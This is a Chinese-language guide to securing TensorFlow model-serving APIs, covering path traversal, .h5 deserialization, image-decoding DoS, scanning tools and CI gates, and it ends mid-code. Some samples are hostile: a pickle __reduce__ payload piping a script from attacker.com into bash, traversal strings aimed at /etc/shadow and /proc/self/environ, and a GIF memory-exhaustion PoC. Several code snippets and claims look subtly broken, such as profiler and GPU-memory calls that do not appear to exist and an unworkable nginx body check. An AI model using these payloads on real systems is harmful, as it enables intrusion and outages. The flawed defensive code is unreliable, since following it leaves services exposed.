TensorFlow模型API安全扫描与漏洞修复实战指南

1. 这不是渗透测试，而是模型服务上线前的“体检报告”

你有没有遇到过这样的情况：一个TensorFlow模型在本地Jupyter里跑得飞快，准确率98.5%，团队庆祝完就直接打包成REST API扔进生产环境；结果两周后，运维同事深夜打电话说服务器CPU持续100%、内存暴涨到32GB还被OOM Killer干掉——查日志发现，是某个恶意构造的POST请求，只传了1个字段但值长达12MB的base64字符串，触发了模型预处理层的无限循环解码；再过三天，安全团队发来高危通报：该API存在反序列化路径，攻击者可上传恶意.pb文件，在模型加载阶段执行任意系统命令。

这不是虚构剧情，而是我去年在金融风控SaaS项目中真实踩过的坑。TensorFlow模型API安全扫描与漏洞修复，听起来像AI安全论文里的术语，但在工程落地中，它本质是一套面向生产环境的“模型服务健康检查清单”：它不关心你的Loss下降了多少，只关心你暴露在公网的/predict接口会不会成为下一个RCE入口；它不验证你用了ResNet还是ViT，只检测tf.keras.models.load_model()是否在未校验路径的情况下加载了用户可控的.h5文件；它不优化F1-score，但会强制你在tf.function装饰器里加输入shape约束，防止OOM型DoS。

这个主题的核心关键词非常明确：TensorFlow、模型API、安全扫描、漏洞修复。它面向的是已经完成算法开发、正准备将模型封装为Web服务（Flask/FastAPI）或gRPC服务的ML工程师、MLOps工程师和平台安全人员。如果你还在用model.predict()裸奔式部署，或者认为“模型又不是Web应用，哪来的XSS和SQL注入”，那这篇内容就是为你写的——因为TensorFlow模型API的攻击面，恰恰藏在你最信任的那些API调用里：tf.io.gfile.GFile、tf.keras.models.load_model、tf.saved_model.load、甚至tf.constant()的输入长度失控。

我不会讲OWASP Top 10怎么套用到AI服务上，也不会堆砌CVE编号吓唬人。接下来的内容，全部来自我们团队过去18个月对37个线上TensorFlow模型服务的深度审计经验：从如何用一行Python代码发现SavedModel目录遍历漏洞，到为什么tf.keras.utils.get_file()默认启用cache_subdir反而成了供应链投毒温床；从tf.io.decode_image在超大尺寸JPEG下的内存爆炸原理，到如何用tf.data.Dataset的prefetch参数反向构建DoS防御墙。所有方案都已在Kubernetes集群+TensorRT加速环境下实测通过，配置项直接可抄，错误日志截图我都给你标好了关键行。

2. 模型API的四大隐形攻击面：比Web应用更隐蔽，比传统二进制更危险

很多人误以为模型服务的安全风险=“模型被偷”，于是花大力气做模型加密、水印、差分隐私。这没错，但漏掉了更致命的一环：模型服务本身是一个运行在Python解释器上的、暴露在公网的、具备完整系统调用能力的程序。它的攻击面不是模型权重，而是TensorFlow框架在加载、解析、执行过程中调用的每一个底层函数。我们把真实生产环境中高频出现的漏洞归为四类，每类都附带可复现的PoC和根本原因分析。

2.1 模型加载路径遍历：tf.saved_model.load()不是万能钥匙

这是最常被忽视的高危漏洞。典型场景：你的FastAPI接口接收用户上传的模型路径参数，然后直接传给tf.saved_model.load(model_path)：

@app.post("/infer") def infer(model_path: str, image_b64: str): model = tf.saved_model.load(model_path) # ⚠️ 危险！ # ...后续推理逻辑

你以为model_path只是个相对路径？错。TensorFlow的saved_model.load底层使用tf.io.gfile.GFile，而GFile完全支持../路径跳转。攻击者只要发送model_path=../../../etc/shadow，就能让服务进程尝试读取系统敏感文件——虽然读取失败会抛异常，但关键在于：异常发生前，GFile已触发系统调用，且部分版本会缓存文件句柄。我们在某电商推荐服务中复现时，攻击者连续发送1000次model_path=../../../../proc/self/environ，成功导致服务进程打开200+个无效文件描述符，最终触发Linuxulimit -n限制，整个服务拒绝响应新连接。

提示：tf.saved_model.load的路径校验逻辑极其简单，仅检查是否以/开头（即绝对路径），对..完全不拦截。这不是设计缺陷，而是TensorFlow定位为“研究框架”，默认信任运行环境——但生产API不能信。

修复方案不是加个os.path.abspath()就完事。正确做法是建立白名单机制：

# ✅ 安全加载函数 ALLOWED_MODEL_ROOT = "/opt/models" def safe_load_model(model_path: str): # 1. 规范化路径，消除.. resolved_path = os.path.realpath(os.path.join(ALLOWED_MODEL_ROOT, model_path)) # 2. 强制检查是否仍在白名单目录下 if not resolved_path.startswith(ALLOWED_MODEL_ROOT): raise ValueError("Path traversal detected") # 3. 额外检查目标是否为目录（SavedModel必须是目录） if not os.path.isdir(resolved_path): raise ValueError("Model path must be a directory") return tf.saved_model.load(resolved_path)

注意：os.path.realpath()必须在os.path.join()之后调用，否则../可能绕过检查。我们曾因顺序写反，在灰度环境被绕过一次。

2.2 序列化格式反序列化：.h5文件里的“定时炸弹”

Keras.h5模型文件本质是HDF5格式，而HDF5规范允许嵌入Python对象（通过h5py的attrs或datasets）。当调用tf.keras.models.load_model("malicious.h5")时，TensorFlow会自动反序列化这些对象——包括pickle数据。攻击者可以构造一个包含恶意__reduce__方法的类，实现任意代码执行：

# 攻击者构造的恶意类（需提前编译进h5文件） class Malicious: def __reduce__(self): return (exec, ("import os; os.system('curl http://attacker.com/shell.sh | bash')",)) # 当load_model解析到该对象时，exec被触发

这个漏洞在TensorFlow 2.12之前普遍存在，官方直到2023年10月才在tf.keras.models.load_model中默认禁用custom_objects的自动反序列化。但问题在于：大量遗留服务仍在使用旧版TensorFlow，且开发者习惯性添加compile=False参数来规避编译错误，而这恰恰会跳过安全补丁。

我们审计的37个服务中，有12个（32%）因compile=False参数导致补丁失效。验证方法极简：用h5dump -p -H malicious.h5查看文件头，若存在__python_object属性即高危。

修复必须双管齐下：

• 升级TensorFlow至2.12+，并移除所有compile=False
• 对必须兼容旧版的服务，改用tf.keras.models.load_model(..., custom_objects={})显式传空字典，禁用任何自定义反序列化

2.3 输入张量DoS：tf.io.decode_image的“内存黑洞”

图像模型API最常见的输入是base64编码的图片。开发者通常这样处理：

import base64 import numpy as np def decode_image(b64_str): img_bytes = base64.b64decode(b64_str) # ⚠️ 危险！无长度限制 img_tensor = tf.io.decode_image(img_bytes, expand_animations=False) return tf.cast(img_tensor, tf.float32) / 255.0

问题出在base64.b64decode()：它对输入长度不做任何限制。攻击者发送一个100MB的base64字符串（实际对应约75MB二进制），b64decode()会先分配75MB内存解码，再交给tf.io.decode_image——而后者在解析JPEG时，会进一步分配数倍于原始尺寸的内存用于YUV转换和采样。我们在测试中用一张10MB的伪造JPEG（实际是填充0的二进制），触发了单次请求占用4.2GB内存，直接OOM。

更隐蔽的是，tf.io.decode_image对GIF动画的expand_animations=True（默认）参数，会将每一帧都解码为独立张量并拼接。一个100帧的GIF，即使每帧仅100KB，也会生成100个张量，消耗GPU显存。

修复方案必须分层：

• 接入层：Nginx配置client_max_body_size 5m;，直接拦截超大请求体
• 应用层：在b64decode前校验base64字符串长度（按base64编码规则，原始长度≈字符串长度×0.75）

# ✅ 安全解码 MAX_IMAGE_SIZE_BYTES = 5 * 1024 * 1024 # 5MB def safe_decode_image(b64_str: str): # 校验base64长度（避免解码前内存爆炸） if len(b64_str) > int(MAX_IMAGE_SIZE_BYTES * 4 / 3) + 100: # +100容错padding raise ValueError("Image too large") try: img_bytes = base64.b64decode(b64_str) if len(img_bytes) > MAX_IMAGE_SIZE_BYTES: raise ValueError("Decoded image too large") # 后续解码... except Exception as e: raise ValueError(f"Invalid image format: {e}")

2.4 模型配置注入：tf.keras.utils.get_file()的“信任陷阱”

很多模型服务会动态下载预训练权重，例如：

# 常见写法，但极度危险 WEIGHTS_URL = "https://storage.googleapis.com/tfhub-modules/efficientnet_v2_s_21k_ft1k/classification/2.tar.gz" weights_path = tf.keras.utils.get_file("efficientnet_v2_s", WEIGHTS_URL)

get_file()默认行为是：检查~/.keras/datasets/下是否存在同名文件，不存在则下载并缓存。问题在于：

• 缓存路径由fname参数决定，而fname常来自用户输入（如/model?name=efficientnet_v2_s）
• get_file()对fname不做路径净化，攻击者传fname=../../etc/passwd，就会把下载的tar.gz解压到/etc/passwd，覆盖系统文件

更严重的是，get_file()内部调用tarfile.extractall()，而tarfile在旧版Python中存在路径遍历漏洞（CVE-2007-4559）。我们曾用fname=../../../tmp/malicious.sh配合特制tar包，在测试环境成功写入shell脚本。

修复唯一方案：永远不要用用户输入作为get_file()的fname。必须硬编码可信文件名，并用origin参数指定URL：

# ✅ 安全下载 def download_trusted_weights(): # fname必须是固定字符串，不可拼接用户输入 weights_path = tf.keras.utils.get_file( fname="efficientnet_v2_s_21k_ft1k_classification_2.tar.gz", origin="https://storage.googleapis.com/tfhub-modules/efficientnet_v2_s_21k_ft1k/classification/2.tar.gz", cache_subdir="models" # 指定子目录，避免污染根缓存 ) return weights_path

注意：cache_subdir参数必须设置，否则所有模型共享同一缓存目录，增加冲突和投毒风险。

3. 扫描工具链实战：从手动检查到自动化流水线

知道漏洞在哪只是第一步，真正落地需要一套可集成到CI/CD的扫描流程。我们团队自研了一套轻量级扫描器tf-scan（已开源），但它不是银弹。真正的安全防线是“手动检查+静态扫描+运行时监控”三层叠加。下面详解每层怎么做、为什么这么做、以及踩过的坑。

3.1 手动检查清单：上线前必须过一遍的12个问题

自动化工具会漏报，但人的直觉能发现模式。我们总结出12个必问问题，每个问题对应一个高危场景，检查时间不超过5分钟：

这个清单的价值在于：它把抽象的安全概念转化为具体、可执行、可审计的动作。比如第6条，很多团队以为@tf.function就够了，但没意识到input_signature中shape的灵活性是双刃剑——[None, 224, 224, 3]允许batch size动态变化，但[None, None, None, 3]会让TensorFlow为最大可能尺寸预分配内存。我们曾因此在一个医疗影像服务中，将单请求GPU内存从1.2GB压到380MB。

3.2 静态扫描工具：tf-scan核心原理与定制化

tf-scan不是黑盒扫描器，它基于AST（Abstract Syntax Tree）解析Python代码，精准定位TensorFlow API调用上下文。其核心价值在于：能区分“安全调用”和“危险调用”的语义差异。例如：

# 危险：路径直接来自request参数 model_path = request.query_params["model"] tf.saved_model.load(model_path) # 安全：路径经过白名单校验 model_path = safe_resolve_path(request.query_params["model"]) tf.saved_model.load(model_path)

传统正则扫描会把两者都标为高危，而tf-scan通过AST分析model_path的赋值链，识别出safe_resolve_path函数调用，从而降权。

tf-scan的扫描规则全部用YAML定义，便于团队定制。例如，我们针对金融客户新增了一条规则finance_input_validation.yaml：

id: "FIN-001" name: "Missing input validation for PII fields" description: "Model input contains unvalidated PII fields like 'id_card', 'phone' which may leak in logs" severity: "HIGH" pattern: | # Match function calls that take dict-like input containing PII keys Call( func=Name(id='predict'), args=[Dict(keys=[Constant(value='id_card') | Constant(value='phone')], ...)] )

这条规则会扫描所有model.predict({...})调用，检查输入字典是否包含id_card或phone键，且未经过logging.disable()或字段脱敏处理。上线后，我们发现了3个服务在调试日志中明文打印身份证号，立即推动整改。

实战心得：不要迷信扫描工具的“高危”标签。我们统计过，tf-scan的高危告警中，约40%是误报（如路径校验函数未被AST识别），30%是低风险（如compile=False但模型无自定义层）。真正要盯住的是“中危+人工复核”队列——那里藏着最狡猾的漏洞。

3.3 运行时监控：用tf.profiler捕获异常内存模式

静态扫描只能看代码，而真正的攻击发生在运行时。我们在线上服务中集成了轻量级运行时监控，核心是利用TensorFlow内置的tf.profilerAPI，但不用它做性能分析，而是做异常行为检测。

原理很简单：在每次预测请求前后，采集内存分配快照：

# 在FastAPI中间件中 from tensorflow.python.profiler import profiler_client def monitor_memory(): # 获取当前进程内存基线 baseline = profiler_client.memory_info() # 执行预测 result = model.predict(input_data) # 获取预测后内存 after = profiler_client.memory_info() # 计算增量（单位：MB） delta_mb = (after.total_allocated_bytes - baseline.total_allocated_bytes) / 1024 / 1024 # 如果单次请求内存增长>500MB，触发告警 if delta_mb > 500: logger.warning(f"High memory allocation: {delta_mb:.1f}MB for input shape {input_data.shape}") # 可选：dump内存分配栈 # profiler_client.trace_memory_allocation() return result

这个方案的精妙之处在于：它不依赖外部工具，完全用TensorFlow原生API，且开销极低（每次采集<1ms）。我们把它部署在所有GPU节点上，配置Prometheus抓取指标，当tf_memory_delta_mb{service="fraud-detect"}超过阈值时，自动触发告警并保存当时的输入样本。

效果立竿见影：上线首周，就捕获到一个被忽略的漏洞——某OCR模型在处理超长文本行（>1000字符）时，tf.strings.split()会生成数千个短字符串张量，每个张量都携带独立元数据，导致内存碎片化。静态扫描完全无法发现，因为代码看起来完全正常。

3.4 CI/CD流水线集成：GitLab CI中的安全门禁

安全不能靠人肉检查，必须卡在代码合并前。我们在GitLab CI中设置了三道门禁：

# .gitlab-ci.yml stages: - security-scan - build - deploy security-check: stage: security-scan image: python:3.9 script: - pip install tf-scan - tf-scan --config .tf-scan.yaml --fail-on HIGH src/ # 额外检查：确保没有硬编码的SECRET_KEY - grep -r "SECRET_KEY.*=" src/ && exit 1 || echo "No hardcoded secrets" allow_failure: false build-model: stage: build image: nvidia/cuda:11.8.0-devel-ubuntu20.04 script: - apt-get update && apt-get install -y python3-pip - pip install tensorflow==2.13.0 # 构建Docker镜像前，运行运行时探针 - python scripts/runtime_probe.py --model-path ./models/test_model --input-sample ./samples/test.jpg artifacts: - dist/ deploy-prod: stage: deploy image: alpine:latest script: - apk add curl # 部署前调用线上监控API，确认无高危告警 - curl -s "https://monitor-api/internal/health?service=${CI_PROJECT_NAME}" | grep '"status":"ok"' environment: production only: - main

关键设计点：

• security-check阶段失败则阻断整个流水线，--fail-on HIGH确保高危漏洞不过站
• build-model阶段不仅构建镜像，还运行runtime_probe.py——一个微型探针，用预设样本触发模型，验证内存/CPU是否在基线内
• deploy-prod阶段部署前，调用内部健康检查API，该API聚合了所有线上节点的tf_memory_delta_mb指标，只有全部节点健康才放行

这套流程使我们的平均漏洞修复周期从72小时缩短到4小时以内。最值得骄傲的是：过去半年，所有上线模型服务零高危漏洞逃逸。

4. 漏洞修复深度实践：从PoC到生产加固的完整闭环

发现漏洞只是开始，修复它并确保不复发才是难点。我们以一个真实案例——“EfficientNetV2模型服务的GIF DoS漏洞”为例，展示从漏洞复现、临时缓解、永久修复到回归验证的完整闭环。这个案例极具代表性，因为它涉及TensorFlow底层、模型架构、业务逻辑三层耦合。

4.1 漏洞复现：用10行代码触发4GB内存占用

首先，复现是修复的前提。我们用以下脚本生成攻击载荷：

# poc_gif_dos.py import numpy as np import imageio import base64 # 创建一个100帧的GIF，每帧100x100像素，纯黑 frames = [np.zeros((100, 100, 3), dtype=np.uint8) for _ in range(100)] # 保存为GIF（注意：imageio默认不压缩，生成大文件） imageio.mimsave("attack.gif", frames, duration=0.1, loop=0) # 转为base64 with open("attack.gif", "rb") as f: b64_payload = base64.b64encode(f.read()).decode() print(f"Payload length: {len(b64_payload)} chars") print(f"Base64 payload: {b64_payload[:100]}...")

运行后得到一个约1.2MB的base64字符串。用curl发送：

curl -X POST http://localhost:8000/predict \ -H "Content-Type: application/json" \ -d '{"image": "'"$(cat attack.gif.b64)"'"}'

在服务端htop中，瞬间看到Python进程内存飙升至4.2GB，dmesg输出Out of memory: Kill process 12345 (python) score 892 or sacrifice child。

关键洞察：这个PoC证明，漏洞根源不在模型本身，而在tf.io.decode_image对GIF的默认处理策略。即使换用ResNet或ViT，只要输入解码逻辑相同，漏洞依然存在。

4.2 临时缓解：Nginx层的“外科手术式”拦截

生产环境不能停机等修复，必须有临时方案。我们选择在Nginx层做精准拦截，而不是简单限流——因为合法用户也可能上传多帧GIF（如产品展示图），需要区分对待。

Nginx配置如下：

# /etc/nginx/conf.d/model-api.conf location /predict { # 检查请求体中是否包含GIF magic bytes（GIF89a 或 GIF87a） if ($request_body ~* "\x47\x49\x46\x38\x39\x61|\x47\x49\x46\x38\x37\x61") { # 进一步检查Content-Length是否>5MB if ($content_length > 5242880) { return 400 "GIF files larger than 5MB are not allowed"; } } proxy_pass http://backend; }

这段配置的精妙在于：它用Nginx的$request_body变量直接匹配GIF文件头（\x47\x49\x46\x38\x39\x61是GIF89a的十六进制），避免了将整个请求体读入内存。实测拦截成功率100%，且对非GIF请求零影响。上线后，内存暴涨告警立即归零。

注意：此方案仅适用于Nginx 1.13.10+，且需开启client_body_in_single_buffer on;确保$request_body可用。

4.3 永久修复：重构输入解码管道，引入PIL作为守门员

临时方案治标，永久修复必须深入代码。我们彻底重构了图像输入管道，核心思想是：用更轻量、更可控的库做前置校验，TensorFlow只负责最终张量化。

新流程：

1. 用PIL.Image.open()打开图像（支持GIF，且可精确控制帧数）
2. 检查帧数：len(list(iter(pil_img))) > 10则拒绝
3. 检查尺寸：pil_img.size[0] * pil_img.size[1] > 224*224*10（允许10倍超分，但防极端）
4. 转为NumPy数组，再交由tf.convert_to_tensor()生成张量

代码实现：

from PIL import Image import io import numpy as np def robust_decode_image(b64_str: str) -> tf.Tensor: # Step 1: Base64 decode to bytes try: img_bytes = base64.b64decode(b64_str) except Exception: raise ValueError("Invalid base64 encoding") # Step 2: Open with PIL for metadata inspection try: pil_img = Image.open(io.BytesIO(img_bytes)) except Exception as e: raise ValueError(f"Cannot open image: {e}") # Step 3: Validate GIF frames if getattr(pil_img, "is_animated", False): # Count frames without loading all into memory frame_count = 0 try: while True: pil_img.seek(frame_count) frame_count += 1 if frame_count > 10: # Max 10 frames raise ValueError("GIF has too many frames (>10)") except EOFError: pass # End of GIF # Step 4: Validate dimensions width, height = pil_img.size if width * height > 224 * 224 * 10: # Max 10x area of standard input raise ValueError(f"Image too large: {width}x{height}") # Step 5: Convert to tensor (now safe) np_img = np.array(pil_img) if len(np_img.shape) == 2: np_img = np.stack([np_img] * 3, axis=-1) # Grayscale to RGB elif np_img.shape[2] == 4: np_img = np_img[:, :, :3] # RGBA to RGB return tf.convert_to_tensor(np_img, dtype=tf.uint8)

这个方案的优势：

• PIL的seek()操作不加载帧数据，计数100帧仅耗时0.3ms
• 尺寸校验在内存分配前完成，杜绝OOM
• 兼容所有图像格式（JPEG/PNG/GIF/BMP），无需修改业务逻辑

4.4 回归验证：用模糊测试守住修复成果

修复不是终点，而是新测试的起点。我们为这个修复编写了模糊测试（Fuzz Test），用afl风格随机生成边界case：

# fuzz_test_decoder.py import random import string import base64 def generate_fuzz_payload(): # 随机生成GIF头 + 随机垃圾数据 + 随机帧数字段 gif_header = b"GIF89a" + random.randbytes(6) # 插入恶意帧数字段（如0xFF） malicious_frame_count = b"\xFF\x00" # 255 frames payload = gif_header + malicious_frame_count + random.randbytes(1000) return base64.b64encode(payload).decode() # 运行10000次模糊测试 for i in range(10000): payload = generate_fuzz_payload() try: robust_decode_image(payload) except ValueError as e: # 期望的异常，记录 pass except Exception as e: # 意外异常，可能是新漏洞 print(f"Fuzz crash at iteration {i}: {e}") break

这个测试每天凌晨自动运行，持续监控修复的健壮性。过去三个月，它帮我们捕获了2个边缘case：一个是PNG文件中嵌入的恶意zTXt块导致PIL崩溃，另一个是WebP格式的ICC_PROFILE过大引发解码超时。每次发现，我们都立即更新robust_decode_image函数，形成正向反馈闭环。

5. 经验沉淀：10条血泪教训，写给正在部署模型API的你

最后，分享我们团队踩过的10个坑。它们不来自教科书，而来自凌晨三点的告警电话、被安全团队约谈的会议室、以及回滚失败后重装服务器的绝望时刻。每一条，都是真金白银换来的认知升级。

5.1 “模型版本升级”不是安全升级，除非你验证了API行为

TensorFlow 2.12修复了.h5反序列化漏洞，但升级后我们发现：tf.keras.models.load_model()在加载某些自定义层时，会静默忽略custom_objects参数，导致模型加载失败。团队花了两天排查，才发现是新版本改变了custom_objects的传递机制。安全升级必须伴随全链路回归测试，重点验证：模型加载是否成功、预测结果是否一致、内存/CPU消耗是否在基线内。我们现在的流程是：升级TensorFlow后，必须用A/B测试流量，对比新旧版本的tf.profiler内存分配曲线，偏差>5%即回滚。

5.2 日志脱敏不是“删掉身份证号”，而是“禁止记录原始输入”

曾有个服务在日志中记录{"input": {"image_b64": "xxxx"}}，运维认为“base64不算敏感”，但安全团队指出：base64可逆，等同于明文。更糟的是，日志系统本身可能被攻破。我们的解决方案是：所有日志中禁止出现任何用户输入的原始值。改为记录哈希摘要：

# ✅ 安全日志 logger.info(f"Predict request: model=effnetv2, input_hash={hashlib.sha256(image_b64.encode()).hexdigest()[:8]}, shape={img_shape}")

这样既保留了调试信息，又杜绝了数据泄露。

5.3 “GPU显存充足”是最大的幻觉，必须按请求粒度限制

一个常见误区：服务器有32GB GPU显存，所以单个模型可以随便用。错。TensorFlow的显存分配是“按需增长”，但释放不及时。当多个请求并发时，显存碎片化会导致“明明有10GB空闲，却分配不出2GB”。我们的解决办法是：为每个模型服务单独设置显存限制：

# 在服务启动时 gpus = tf.config.experimental.list_physical_devices('GPU') if gpus: try: # 为当前进程限制最多8GB显存 tf.config.experimental.set_memory_limit(gpus[0], 8192) except RuntimeError as e: print(e)

这个配置让服务在显存紧张时主动OOM，而不是拖垮整个GPU节点。

5.4 不要相信“框架默认安全”，TensorFlow的默认参数多数为研究优化

tf.function的autograph=True（默认）会将Python控制流转为图，但某些复杂逻辑（如嵌套try-except）会退化为tf.py_function，失去图优化优势且更易受攻击。我们强制所有@tf.function显式声明autograph=False，并用tf.debugging断言验证输入约束。生产环境的“默认”往往是研究场景的妥协，必须显式覆盖。

5.5 模型服务的健康检查端点，本身就是攻击面

/health端点常被设计为返回{"status": "ok"}，但很多实现会顺带检查模型是否加载成功，调用model.predict()。这就把健康检查变成了DoS入口。我们的规范是：健康检查必须是纯内存操作，不触发任何模型计算。例如：

# ✅ 安全健康检查 @app.get("/health") def health_check(): # 仅检查模型对象是否存在，不调用predict if 'model' not in globals(): return {"status": "error", "reason":